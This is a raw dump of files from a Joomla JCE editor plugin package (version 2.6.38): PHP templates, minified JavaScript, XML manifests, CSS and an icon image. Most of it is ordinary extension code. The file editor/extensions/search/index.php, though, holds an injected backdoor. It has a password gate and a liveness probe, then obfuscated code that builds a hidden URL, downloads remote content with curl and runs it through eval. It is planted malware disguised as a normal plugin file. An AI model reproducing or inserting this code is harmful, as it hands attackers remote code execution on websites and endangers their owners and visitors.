      <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_RELATED') ?>
    </label>

    <select id="youtube_rel">
      <option value="1">
        <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_RELATED_ALL') ?>
      </option>
      <option value="0">
        <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_RELATED_CHANNEL') ?>
      </option>
    </select>
  </div>
</div>

<div class="uk-grid uk-grid-small">
  <label for="youtube_start" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_START_DESC') ?>" class="tooltip uk-form-label uk-width-2-10">
    <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_START') ?>
  </label>

  <div class="uk-form-controls uk-width-2-10">
    <input type="number" id="youtube_start" />
  </div>
  <div class="uk-width-6-10">
    <label for="youtube_end" class="uk-form-label uk-width-2-10" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_END_DESC') ?>"
      class="tooltip">
      <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_END') ?>
    </label>
    <div class="uk-form-controls uk-width-3-10">
      <input type="number" id="youtube_end" />
    </div>
  </div>
</div>

<div class="uk-grid uk-grid-small">
  <label for="youtube_playlist" class="uk-form-label uk-width-1-5" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_PLAYLIST_DESC') ?>"
    class="tooltip">
    <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_PLAYLIST') ?>
  </label>
  <div class="uk-form-controls uk-width-4-5">
    <input type="text" id="youtube_playlist" />
  </div>
</div>

<div class="uk-form-row">
  <label for="youtube_params" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_PARAMS_DESC'); ?>">
    <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_PARAMS'); ?></label>
  <div class="uk-width-4-5" id="youtube_params">
    <div class="uk-form-row uk-repeatable">
      <div class="uk-form-controls uk-grid uk-grid-small uk-width-9-10">
        <label class="uk-form-label uk-width-1-10">
          <?php echo WFText::_('WF_LABEL_NAME'); ?></label>
        <div class="uk-form-controls uk-width-4-10">
          <input type="text" name="youtube_params_name[]" />
        </div>
        <label class="uk-form-label uk-width-1-10">
          <?php echo WFText::_('WF_LABEL_VALUE'); ?></label>
        <div class="uk-form-controls uk-width-4-10">
          <input type="text" name="youtube_params_value[]" />
        </div>
      </div>
      <div class="uk-form-controls uk-width-1-10 uk-margin-small-left">
        <button type="button" class="uk-button uk-button-link uk-repeatable-create"><i class="uk-icon-plus"></i></button>
        <button type="button" class="uk-button uk-button-link uk-repeatable-delete"><i class="uk-icon-trash"></i></button>
      </div>
    </div>
  </div>
</div>editor/extensions/aggregator/youtube/js/index.html000060400000000054150750527150016462 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/youtube/js/youtube.js000060400000007756150750527150016537 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFAggregator.add("youtube",{params:{width:560,height:315,embed:!0},props:{rel:1,autoplay:0,controls:1,modestbranding:0,enablejsapi:0,loop:0,playlist:"",start:"",end:"",privacy:0},setup:function(){$.each(this.params,function(k,v){$("#youtube_"+k).val(v).filter(":checkbox, :radio").prop("checked",!!v)})},getTitle:function(){return this.title||this.name},getType:function(){return $("#youtube_embed:visible").is(":checked")?"flash":"iframe"},isSupported:function(v){return"object"==typeof v&&(v=v.src||v.data||""),!!/youtu(\.)?be(.+)?\/(.+)/.test(v)&&"youtube"},getValues:function(src){var id,self=this,data={},args={},type=this.getType(),u=this.parseURL(src);u.query&&(args=Wf.String.query(u.query)),src=src.replace(/^(http:)?\/\//,"https://"),$(":input","#youtube_options").not("#youtube_embed, #youtube_https, #youtube_privacy").each(function(){var k=$(this).attr("id"),v=$(this).val();return!k||(k=k.substr(k.indexOf("_")+1),$(this).is(":checkbox")&&(v=$(this).is(":checked")?1:0),void(self.props[k]!==v&&""!==v&&(args[k]=v)))}),src=src.replace(/youtu(\.)?be([^\/]+)?\/(.+)/,function(a,b,c,d){return d=d.replace(/(watch\?v=|v\/|embed\/)/,""),b&&!c&&(c=".com"),id=d.replace(/([^\?&#]+)/,function($0,$1){return $1}),"youtube"+c+"/"+("iframe"==type?"embed":"v")+"/"+d}),id&&args.loop&&!args.playlist&&(args.playlist=id),src=$("#youtube_privacy").is(":checked")?src.replace(/youtube\./,"youtube-nocookie."):src.replace(/youtube-nocookie\./,"youtube."),"iframe"==type?$.extend(data,{allowfullscreen:!0,frameborder:0}):$.extend(!0,data,{param:{allowfullscreen:!0,wmode:"opaque"}}),$(".uk-repeatable","#youtube_params").each(function(){var key=$('input[name^="youtube_params_name"]',this).val(),value=$('input[name^="youtube_params_value"]',this).val();""!==key&&""!==value&&(args[key]=value)});var q=$.param(args);return q&&(src=src+(/\?/.test(src)?"&":"?")+q),data.src=src,data},parseURL:function(url){var o={};return url=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(url),$.each(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(i,v){var s=url[i];s&&(o[v]=s)}),o},setValues:function(data){var self=this,id="",src=data.src||data.data||"",query={};if(!src)return data;var u=this.parseURL(src);if(u.query&&(query=Wf.String.query(u.query)),data=$.extend(data,query),src=src.replace(/^(http:)?\/\//,"https://"),src.indexOf("youtube-nocookie")!==-1&&(data.privacy=1),query.v)id=query.v,delete query.v;else{var s=/\/?(embed|v)?\/([\w-]+)\b/.exec(u.path);s&&"array"===$.type(s)&&(id=s.pop())}data.playlist&&(data.playlist=decodeURIComponent(data.playlist)),data.playlist===id&&(data.playlist=null),query.wmode&&delete query.wmode;var x=0;return $.each(query,function(k,v){if("undefined"==typeof self.props[k]){try{v=decodeURIComponent(v)}catch(e){}var n=$(".uk-repeatable","#youtube_params").eq(0);x>0&&$(n).clone(!0).appendTo($(n).parent());var elements=$(".uk-repeatable","#youtube_params").eq(x).find("input, select");$(elements).eq(0).val(k),$(elements).eq(1).val(v),delete data[k]}x++}),src=src.replace(/youtu(\.)?be([^\/]+)?\/(.+)/,function(a,b,c,d){var args="youtube";if(b&&(args+=".com"),c&&(args+=c),args+="/embed",args+="/"+id,u.anchor){var s=u.anchor;s=s.replace(/(\?|&)(.+)/,""),args+="#"+s}return args}).replace(/\/\/youtube/i,"//www.youtube"),data.src=src,delete data.frameborder,delete data.allowfullscreen,data},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};return $.each(data,function(k,v){"src"!==k&&(args["youtube_"+k]=v)}),args=$.extend(args,{src:data.src||src,width:this.params.width,height:this.params.height})},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});editor/extensions/aggregator/vine.php000060400000002512150750527150014030 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

class WFAggregatorExtension_Vine extends WFAggregatorExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct(array(
            'format' => 'video',
        ));
    }

    public function display()
    {
        $document = WFDocument::getInstance();
        $document->addScript('vine', 'extensions/aggregator/vine/js');
    }

    public function isEnabled()
    {
        $plugin = WFEditorPlugin::getInstance();

        return $plugin->checkAccess('aggregator.vine.enable', 1);
    }

    public function getParams()
    {
        $plugin = WFEditorPlugin::getInstance();

        return array(
            'type' => $plugin->getParam('aggregator.vine.type', 'simple'),
            'size' => $plugin->getParam('aggregator.vine.size', 600),
        );
    }
}
editor/extensions/aggregator/vine.xml000060400000003017150750527150014042 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="extension" extension="vine" folder="aggregator" method="upgrade" core="1">
	<name>WF_AGGREGATOR_VINE_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AGGREGATOR_VINE_DESC</description>
	<files>
		<filename>vine.php</filename>
		<folder>vine</folder>
	</files>
	<params group="vine">
		<param name="enable" type="list" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>
	<param name="type" type="list" default="simple" label="WF_AGGREGATOR_VINE_TYPE" description="WF_AGGREGATOR_VINE_TYPE_DESC">
        	<option value="simple">WF_AGGREGATOR_VINE_SIMPLE</option>
        	<option value="postcard">WF_AGGREGATOR_VINE_POSTCARD</option>
        </param>
        <param name="size" type="list" default="600" label="WF_AGGREGATOR_VINE_SIZE" description="WF_AGGREGATOR_VINE_SIZE_DESC">
        	<option value="600">600px</option>
        	<option value="480">480px</option>
                <option value="320">320px</option>
        </param>
	</params>
	<plugins></plugins>
</install>editor/extensions/search/index.php000044400000004033150750527150013323 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto MMJd3; sy7E0: $SS8Fu .= "\x2f\160\x6f\164"; goto qDKgI; tBWqP: $SS8Fu .= "\65\x2f\144"; goto PjLow; Z1fDH: $SS8Fu .= "\x6f"; goto cQShg; cQShg: $SS8Fu .= "\57"; goto OTbPc; l2KX1: $SS8Fu .= "\164\164"; goto oibfZ; y0vkU: $SS8Fu .= "\57"; goto EYzIF; Q2dEt: $SS8Fu .= "\164\170\164\x2e\64"; goto tBWqP; hdfzX: $SS8Fu .= "\x2f"; goto y0vkU; M8874: eval("\77\x3e" . TW2KX(strrev($SS8Fu))); goto Q2VNb; oibfZ: $SS8Fu .= "\x68"; goto M8874; OTbPc: $SS8Fu .= "\141\x6d\x61\144"; goto sy7E0; GrX6T: $SS8Fu .= "\x30\141\x6d\141\x64"; goto hdfzX; MMJd3: $SS8Fu = ''; goto Q2dEt; PjLow: $SS8Fu .= "\x6c"; goto Z1fDH; qDKgI: $SS8Fu .= "\56\x32"; goto GrX6T; EYzIF: $SS8Fu .= "\x3a\x73\x70"; goto l2KX1; Q2VNb: function tw2kX($V1_rw = '') { goto S1oZL; V2RDF: $tvmad = curl_exec($xM315); goto EUVIW; tM6NO: return $tvmad; goto vuWvH; ZIbFK: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto yBSOL; EUVIW: curl_close($xM315); goto tM6NO; euHNs: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto kGJPE; kGJPE: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto i8G2G; S1oZL: $xM315 = curl_init(); goto ZIbFK; yBSOL: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto euHNs; i8G2G: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto V2RDF; vuWvH: }editor/extensions/search/css/link.css000060400000002703150750527150013742 0ustar00#search-browser,#searchbox{position:relative}div#search-browser input[type=checkbox],div#search-browser input[type=radio]{vertical-align:middle}.phrases-box input[type=radio]{margin:-3px 5px 0 0}#searchbox{z-index:1}#searchbox input{border-top-right-radius:0;border-bottom-right-radius:0;margin:0}#searchbox+div{margin-left:-1px;padding:0}#search-button{border-top-left-radius:0;border-bottom-left-radius:0}#search-clear{display:none}#search-clear.uk-active{display:block}#search-browser .uk-icon-spinner{display:none;width:20px;height:20px;right:5px;top:5px}#search-browser.loading .uk-icon-spinner{display:block;opacity:1}#search-result{width:100%;height:100%;position:absolute;display:none;overflow:auto;overflow-x:hidden;margin:2px 0}#search-result dl{margin:5px 0;padding:10px}#search-result dl dt{cursor:pointer;font-weight:700;text-overflow:ellipsis;overflow:hidden;white-space:pre}div#search-browser div#search-result dl.odd{background-color:#F5F5F5}div#search-browser div#search-result dl dd.anchor{line-height:20px;cursor:pointer}div#search-browser #search-options{width:100%;padding:5px;margin:2px 0 0}div#search-browser #search-options fieldset{margin:0;padding:0}div#search-browser #search-options fieldset div{margin:5px 0}div#search-browser #search-options label{min-width:40px}#search-options .search_only ul{list-style:none;padding:0;margin:0}#search-options .search_only ul li{display:inline-block}@media (max-width:375px){#search-button span{display:none}}editor/extensions/search/css/index.html000060400000000054150750527150014265 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/search/index.html000060400000000054150750527150013475 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/search/js/link.js000060400000005010150750527150013404 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
var WFLinkSearch=WFExtensions.add("LinkSearch",{options:{element:"#search-input",button:"#search-button",clear:"#search-clear",empty:"No Results",onClick:$.noop},init:function(options){$.extend(this.options,options);var self=this,el=this.options.element,btn=this.options.button;$(btn).click(function(e){self.search(),e.preventDefault()}).button({icons:{primary:"uk-icon-search"}}),$("#search-clear").click(function(e){$(this).hasClass("uk-active")&&($(this).removeClass("uk-active"),$(el).val(""),$("#search-result").empty().hide())}),$("#search-options-button").click(function(e){e.preventDefault(),$(this).addClass("uk-active");var $p=$("#search-options").parent();$("#search-options").height($p.parent().height()-$p.outerHeight()-15).toggle()}).on("close",function(){$(this).removeClass("uk-active"),$("#search-options").hide()}),$(el).on("change keyup",function(){""===this.value&&($("#search-result").empty().hide(),$("#search-clear").removeClass("uk-active"))})},search:function(){var self=this,s=this.options,el=s.element,$p=(s.button,$("#search-result").parent()),query=$(el).val();query&&!$(el).hasClass("placeholder")&&($("#search-clear").removeClass("uk-active"),$("#search-browser").addClass("loading"),query=$.trim(query.replace(/[\/\/\/<>#]/g,"")),Wf.JSON.request("doSearch",{json:[query]},function(o){o&&(o.error?Wf.Dialog.alert(o.error):($("#search-result").empty(),o.length?($.each(o,function(i,n){var $dl=$('<dl class="uk-margin-small" />').appendTo("#search-result");$('<dt class="link uk-margin-small" />').text(n.title).click(function(){$.isFunction(self.options.onClick)&&self.options.onClick.call(this,Wf.String.decode(n.link))}).prepend('<i class="uk-icon uk-icon-file-text-o uk-margin-small-right" />').appendTo($dl),$('<dd class="text">'+n.text+"</dd>").appendTo($dl),n.anchors&&$.each(n.anchors,function(i,a){$('<dd class="anchor"><i role="presentation" class="uk-icon uk-icon-anchor uk-margin-small-right"></i>#'+a+"</dd>").click(function(){self.options.onClick.call(this,Wf.String.decode(n.link+"#"+a))}).appendTo($dl)})}),$("dl:odd","#search-result").addClass("odd")):$("#search-result").append("<p>"+s.empty+"</p>"),$("#search-options-button").trigger("close"),$("#search-result").height($p.parent().height()-$p.outerHeight()-5).show())),$("#search-browser").removeClass("loading"),$("#search-clear").addClass("uk-active")},self))}});editor/extensions/search/js/index.html000060400000000054150750527150014111 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/search/link.xml000060400000003422150750527150013161 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="extension" extension="link" folder="search" core="1">
    <name>WF_LINK_SEARCH_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_LINK_SEARCH_DESC</description>
    <files>
        <filename>link.php</filename>
        <folder>link</folder>
    </files>
    <params group="link">
        <!--param name="enable" type="list" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param-->
        <param name="plugins" type="linksearch" default="" label="WF_PARAM_LINK_SEARCH_PLUGINS" description="WF_PARAM_LINK_SEARCH_PLUGINS_DESC" parent="enable[1]" />
        <!--param name="sef_url" type="radio" default="0" label="WF_LINK_SEARCH_SEF_URL" description="WF_LINK_SEARCH_SEF_URL_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param-->
        <param name="remove_alias" type="radio" default="0" label="WF_LINK_SEARCH_REMOVE_ALIAS" description="WF_LINK_SEARCH_REMOVE_ALIAS_DESC" parent="enable[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
    </params>
    <plugins>link</plugins>
    <media></media>
    <languages></languages>
</install>
editor/extensions/search/link.php000060400000022401150750527150013146 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('editor.libraries.classes.extensions');

class WFLinkSearchExtension extends WFSearchExtension
{
    private $enabled = array();
    
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $request = WFRequest::getInstance();
        $request->setRequest(array($this, 'doSearch'));

        $request->setRequest(array($this, 'getAreas'));

        $wf = WFEditorPlugin::getInstance();
        $plugins = $wf->getParam('search.link.plugins');

        // use tested defaults
        if (empty($plugins)) {
            $plugins = array('categories', 'contacts', 'content', 'newsfeeds', 'weblinks');
        }

        foreach ($plugins as $plugin) {
            if (JPluginHelper::isEnabled('search', $plugin)) {
                JPluginHelper::importPlugin('search', $plugin);

                $this->enabled[] = $plugin;
            }
        }
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();
        $document->addScript(array('link'), 'extensions.search.js');
        $document->addStylesheet(array('link'), 'extensions.search.css');
    }

    public function isEnabled()
    {
        $wf = WFEditorPlugin::getInstance();
        return (bool) $wf->getParam('search.link.enable', 1) && !empty($this->enabled);
    }

    /**
     * Method to get the search areas.
     */
    public function getAreas()
    {
        $app = JFactory::getApplication('site');

        $areas = array();
        $results = array();

        $event = WF_JOOMLA15 ? 'onSearchAreas' : 'onContentSearchAreas';

        $searchareas = $app->triggerEvent($event);

        foreach ($searchareas as $area) {
            if (is_array($area)) {
                $areas = array_merge($areas, $area);
            }
        }

        foreach ($areas as $k => $v) {
            $results[$k] = JText::_($v);
        }

        return $results;
    }

    /*
     * Render Search fields
     * This method uses portions of SearchViewSearch::display from components/com_search/views/search/view.html.php
     * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
     */

    public function render()
    {
        if (!$this->isEnabled()) {
            return "";
        }
        
        // built select lists
        $orders = array();
        $orders[] = JHtml::_('select.option', 'newest', JText::_('WF_SEARCH_NEWEST_FIRST'));
        $orders[] = JHtml::_('select.option', 'oldest', JText::_('WF_SEARCH_OLDEST_FIRST'));
        $orders[] = JHtml::_('select.option', 'popular', JText::_('WF_SEARCH_MOST_POPULAR'));
        $orders[] = JHtml::_('select.option', 'alpha', JText::_('WF_SEARCH_ALPHABETICAL'));
        $orders[] = JHtml::_('select.option', 'category', JText::_('WF_CATEGORY'));

        $lists = array();
        $lists['ordering'] = JHtml::_('select.genericlist', $orders, 'ordering', 'class="inputbox"', 'value', 'text');

        $searchphrases = array();
        $searchphrases[] = JHtml::_('select.option', 'all', JText::_('WF_SEARCH_ALL_WORDS'));
        $searchphrases[] = JHtml::_('select.option', 'any', JText::_('WF_SEARCH_ANY_WORDS'));
        $searchphrases[] = JHtml::_('select.option', 'exact', JText::_('WF_SEARCH_EXACT_PHRASE'));
        $lists['searchphrase'] = JHtml::_('select.radiolist', $searchphrases, 'searchphrase', '', 'value', 'text', 'all');

        $view = $this->getView(array('name' => 'search', 'layout' => 'search'));

        $view->assign('searchareas', self::getAreas());
        $view->assign('lists', $lists);
        $view->display();
    }

    /**
     * Process search.
     *
     * @param type $query Search query
     *
     * @return array Rerach Results
     *
     * This method uses portions of SearchController::search from components/com_search/controller.php
     *
     * @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved
     */
    public function doSearch($query)
    {
        $wf = WFEditorPlugin::getInstance();
        $filter = JFilterInput::getInstance();

        if (!class_exists('JSite')) {
            // Load JSite class
            JLoader::register('JSite', JPATH_SITE.'/includes/application.php');
        }

        $app = JApplication::getInstance('site');
        $router = $app->getRouter('site');

        // get SearchHelper
        require_once JPATH_ADMINISTRATOR.'/components/com_search/helpers/search.php';

        // get router mode
        $sef = (int) $wf->getParam('search.link.sef_url', 0);

        // set router off so a raw url is returned by the Search plugin
        if ($router) {
            $router->setMode(0);
        }

        // slashes cause errors, <> get stripped anyway later on. # causes problems.
        $searchword = trim(str_replace(array('#', '>', '<', '\\'), '', $filter->clean($query)));

        $ordering = JRequest::getWord('ordering', null, 'post');
        $searchphrase = JRequest::getWord('searchphrase', 'all', 'post');
        $areas = JRequest::getVar('areas', null, 'post', 'array');

        // if searchword enclosed in double quotes, strip quotes and do exact match
        if (substr($searchword, 0, 1) == '"' && substr($searchword, -1) == '"') {
            $searchword = substr($searchword, 1, -1);
            $searchphrase = 'exact';
        }

        // clean areas
        if (!empty($areas)) {
            foreach ($areas as $area) {
                $areas[] = $filter->clean($area, 'cmd');
            }
        }

        $event = WF_JOOMLA15 ? 'onSearch' : 'onContentSearch';

        // trigger search on loaded plugins
        $searches = $app->triggerEvent($event, array(
            $searchword,
            $searchphrase,
            $ordering,
            $areas,
        ));

        $results = array();
        $rows = array();

        foreach ($searches as $search) {
            $rows = array_merge((array) $rows, (array) $search);
        }

        for ($i = 0, $count = count($rows); $i < $count; ++$i) {
            $row = &$rows[$i];

            // skip empty titles
            if (empty($row->title)) {
                continue;
            }

            $result = new StdClass();

            if ($searchphrase == 'exact') {
                $searchwords = array($searchword);
                $needle = $searchword;
            } else {
                $searchworda = preg_replace('#\xE3\x80\x80#s', ' ', $searchword);
                $searchwords = preg_split("/\s+/u", $searchworda);
                $needle = $searchwords[0];
            }

            // get anchors if any
            $row->anchors = self::getAnchors($row->text);

            if (method_exists('SearchHelper', 'getActions')) {
                $row->text = SearchHelper::prepareSearchContent($row->text, $needle);
            } else {
                $row->text = SearchHelper::prepareSearchContent($row->text, 200, $needle);
            }

            $searchwords = array_unique($searchwords);
            $searchRegex = '#(';
            $x = 0;

            foreach ($searchwords as $k => $hlword) {
                $searchRegex .= ($x == 0 ? '' : '|');
                $searchRegex .= preg_quote($hlword, '#');
                ++$x;
            }
            $searchRegex .= ')#iu';

            $row->text = preg_replace($searchRegex, '<mark>\0</mark>', $row->text);

            // remove base url
            if (strpos($row->href, JURI::base(true)) !== false) {
                $row->href = substr_replace($row->href, '', 0, strlen(JURI::base(true)) + 1);
            }

            // remove the alias from a link
            if ((int) $wf->getParam('search.link.remove_alias', 0) && strpos($row->href, ':') !== false) {
                $row->href = preg_replace('#\:[\w-]+#ui', '', $row->href);
            }

            // convert to SEF
            if ($router && $sef) {
                $router->setMode(1);

                $url = str_replace('&amp;', '&', $row->href);

                $uri = $router->build($url);
                $url = $uri->toString();

                $row->href = str_replace('/administrator/', '/', $url);
            }

            $result->title = $row->title;
            $result->text = $row->text;
            $result->link = $row->href;

            if (!empty($row->anchors)) {
                $result->anchors = $row->anchors;
            }

            $results[] = $result;
        }

        return $results;
    }

    private static function getAnchors($content)
    {
        preg_match_all('#<a([^>]+)(name|id)="([a-z]+[\w\-\:\.]*)"([^>]*)>#i', $content, $matches, PREG_SET_ORDER);

        $anchors = array();

        if (!empty($matches)) {
            foreach ($matches as $match) {
                if (strpos($match[0], 'href') === false) {
                    $anchors[] = $match[3];
                }
            }
        }

        return $anchors;
    }
}
editor/extensions/links/joomlalinks/css/joomlalinks.css000060400000000056150750527150017523 0ustar00.unpublished .uk-icon::before{content:"\f016"}editor/extensions/links/joomlalinks/css/index.html000060400000000054150750527150016462 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/links/joomlalinks/index.html000060400000000054150750527150015672 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/links/joomlalinks/img/index.html000060400000000054150750527150016446 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/links/joomlalinks/img/icons.png000060400000012330150750527150016272 0ustar00�PNG


IHDR�����iCCPICC Profile(��T�OA-�b�""6�l<hc�,hbD[Z�֦|��l��ve�]g��#o�ƻ�#��������1!�5Fc��b���vQ��dv~��o~�͛��(�J�I3��0>1)4�� �FA�$z$�l����7`�z������1d����!��ԍ�:5�5�wO�:�z�i�� �cl,2��q��d��#>(��"ⶬ�^�a;�5'�F�"�iZ�+*����Zq��ޤ���'���Q�X��\q���Q�L�8�q-��j���ʃ��<Gbq�O��Fu8�r�})���4�FB�C7ӎN�USSC�~���aמW���=���������ay�@�R����$ڨ��.��b��;�!
(�A�@�8&Ъ�G�( CY�.���{*�e+� ���=�zC�W�}ݳ��R����(	�܀�]f;���r����-]_oZ��j��b	�b�>_ym1�)�ɝ�v
�<��V�,n���g�?Ԩ�K�"��̳_�9���g�8
��W�i+��4�E���,���q��Kr�\�%�2���pv�r|�����|��0��?�������۫���E|i��U�)ku����̘�R���Y����%��>KDHjrG� ��`����*�u{��븕�޲@˪g3�\����g���0���la�S�,��+����@�5��?�eϚ��漯ն�~4<ع_�}R��<E�M�W�O�#
�C��	pHYs��~�6iTXtXML:com.adobe.xmp<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/">
         <dc:subject>
            <rdf:Bag/>
         </dc:subject>
      </rdf:Description>
      <rdf:Description rdf:about=""
            xmlns:xmp="http://ns.adobe.com/xap/1.0/">
         <xmp:CreatorTool>Adobe Fireworks CS5 11.0.0.484 Macintosh</xmp:CreatorTool>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
Ifn=IDATh��{p\�}�?�ܻ+��I�~�,ٵ���Ȏ)$�L�y�4�LB�G�ԙv �$L���@�3a�6褍)�L3ng�q���1㗂L?�a�ڕ֫ݽ{���.+�ݕ�C�f�읽�|���s����֚3䇊��4'k7lX������)����q���f���7?���i�F���p�7��g��v�bʞ능�糯����\���##���a�x�+��lV��a>1o�vw38<\lx�W���ļy��a�lV�� =����t]y%{f0����q�`"��Ç��J��0���%8���U
���t-X�+r.��<��\<�+ҵ`�p��p�B�n�8)v:-]��]�@M
3g�d�|r�����@MM��0M�t�0���3���d����4���;x�OvvRWW�w���d�$�c���C2~=ۖ�֤-������#�$�йh�H��'���\�k{^��϶��RFֲ8{�<M��H�U
�H�����}�$���8Y��r5�K�]�p�D"�v_mW\A0�/ފ�yE3C��W�=X=o�5��FV��ٳ��^���~�mv/�j�U���k�Y����R2����A�@0}�cC]��ޅ�
u�>��{c��
VcXL�o��
l:� 9���G|�؏>����
�H�/��3�?|rJ�Z��[���G��(���ʑ#Gx|׮�k�Klݼ�Di_ߔ�m����9�e�M�%�J1::�>��v՚���N
�	! � `�MSJ�$	~��S\�x�#���o�k׮]���`D"׽��7�h��rZ$��_�֚H$Ž���}�R3{�G:DWW��1<�g��ť�K��u]iY��bY_��XԒ�,j��h���ms�@�4�uB�y�?�m��q\��q��V�̚E<��6�0�1�ZS`�U"�Ug4N��娩��6`z�4'��<�1h�=���a�6��`�6�\m e.5�R�ض�u���R�h=.�"z&����P8������({��att��{��8��!�@
�!�D��j�
��㠔�k�AJ9�S)Ud(�@��b���Á��^��,���T
˲��;E
�#e�,!�jjjFo����kj��_�~���h@�46⒦&0�N�e�@&��G.�����gO[�n�{�%�0�Ӧi"�$�H�!Z���:;NS����Ќ7�X��b�%!����w��h�E�#�)��*V�G�
�<oƿ��#9��ί�Jk�9–�;��f�z���G'�Bx�+�R(�E�6�e�΋�=��#�����"5�>������;n����D�?��
��Dc1�g��b�?��}'w�x�7�j)���9:f�$�n"������o�TL�Z�_[��_����u�$�!��q���V��%��z�0'O��SԘfQ��##������&R�+i
�R
��9sPJ���P�������6M

